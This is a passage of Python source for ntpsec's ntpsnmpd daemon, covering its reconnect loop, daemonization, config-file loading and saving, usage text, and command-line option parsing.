attempts control = PacketControl(snmpSocket, dbase, logfp=logfp, debug=debug) control.loopCallback = dbase.checkNotifications control.initNewSession() if not control.mainloop(True): # disconnected snmpSocket.close() snmpSocket = connect(reconnectionAddr) log("disconnected from master, attempting reconnect", 2) else: # Something else happened break def daemonize(runfunc, *runArgs): pid = os.fork() if pid < 0: log("Forking error " + str(pid), 1) sys.exit(pid) elif pid > 0: # We are the parent log("Daemonization success, child pid: " + str(pid), 3) sys.exit(0) # We must be the child os.umask(0) sid = os.setsid() # chdir should be here, change to what? root? global logfp if logfp == sys.stderr: logfp = None sys.stdin.close() sys.stdin = None sys.stdout.close() sys.stdout = None sys.stderr.close() sys.stderr = None runfunc(*runArgs) def loadSettings(filename, optionList): log("Loading config file: %s" % filename, 3) if not os.path.isfile(filename): return None options = {} with open(filename) as f: data = f.read() lines = ntp.util.parseConf(data) for line in lines: isQuote, token = line[0] if token in optionList: options[token] = line[1:] return options def storeSettings(filename, settings): dirname = os.path.dirname(filename) if not os.path.exists(dirname): os.makedirs(dirname) data = [] for key in settings.keys(): data.append("%s %s\n" % (key, settings[key])) data = "".join(data) with open(filename, "w") as f: f.write(data) usage = """ USAGE: ntpsnmpd [-n] [ntp host] Flg Arg Option-Name Description -n no no-fork Do not fork and daemonize. -x Adr master-addr Specify address for connecting to the master agent - default /var/agentx/master -d no debug-level Increase output debug message level - may appear multiple times -l Str logfile Logs debug messages to the provided filename -D Int set-debug-level Set the output debug message level - may appear multiple times -h no help Print a usage message. -V no version Output version information and exit """ if __name__ == "__main__": bin_ver = "ntpsec-1.2.2a" if ntp.util.stdversion() != bin_ver: sys.stderr.write("Module/Binary version mismatch\n") sys.stderr.write("Binary: %s\n" % bin_ver) sys.stderr.write("Module: %s\n" % ntp.util.stdversion()) try: (options, arguments) = getopt.getopt( sys.argv[1:], "nx:dD:Vhl:c:", ["no-fork", "master-address=", "debug-level", "set-debug-level=", "version", "help", "logfile=", "configfile="]) except getopt.GetoptError as e: sys.stderr.write("%s\n" % e) sys.stderr.write(usage) raise SystemExit(1) masterAddr = "/var/agentx/master" logfile = DEFLOG hostname = DEFHOST # Check for non-default config-file conffile = "/etc/ntpsnmpd.conf" for (switch, val) in options: if switch in ("-c", "--configfile"): conffile = val break # Load configuration file conf = loadSettings(conffile, ("master-addr", "logfile", "loglevel", "ntp-addr")) if conf is not None: for key in conf.keys(): if key == "master-addr": # Address of the SNMP master daemon val = conf[key][0][1] if ":" in val: host, port = val.split(":") port = int(port) masterAddr = (host, port) else: masterAddr = val elif key == "logfile": logfile = conf[key][0][1] elif key == "ntp-addr": # Address of the NTP daemon hostname = conf[key][0][1] elif key == "loglevel": errmsg = "Error: loglevel parameter '%s' not a number\n" debug = conf[key][0][1] fileLogging = False for (switch, val) in options: if switch in ("-n", "--no-fork"): nofork = True elif switch in ("-x", "--master-addr"): if ":" in val: host, port = val.split(":") port = int(port) masterAddr = (host, port) else: masterAddr = val elif switch in ("-d", "--debug-level"): debug += 1 elif switch in ("-D", "--set-debug-level"): errmsg = "Error: -D parameter '%s' not a number\n" debug = ntp.util.safeargcast(val, int, errmsg, usage) elif switch in ("-V", "--version"): print("ntpsnmpd %s" % ntp.util.stdversion()) raise SystemExit(0) elif switch in ("-h", "--help"): print(usage) raise SystemExit(0) elif switch in ("-l", "--logfile"): logfile = val fileLogging = True if not nofork: fileLogging = True if fileLogging: if logfp != sys.stderr: logfp.close() logfp = open(logfile, "a", 1) # 1 => line buffered hostname = arguments[0] if arguments else DEFHOST # Connect here so it can always report a connection error sock = connect(masterAddr) if nofork: mainloop(sock, hostname) else: daemonize(mainloop, sock, hostname)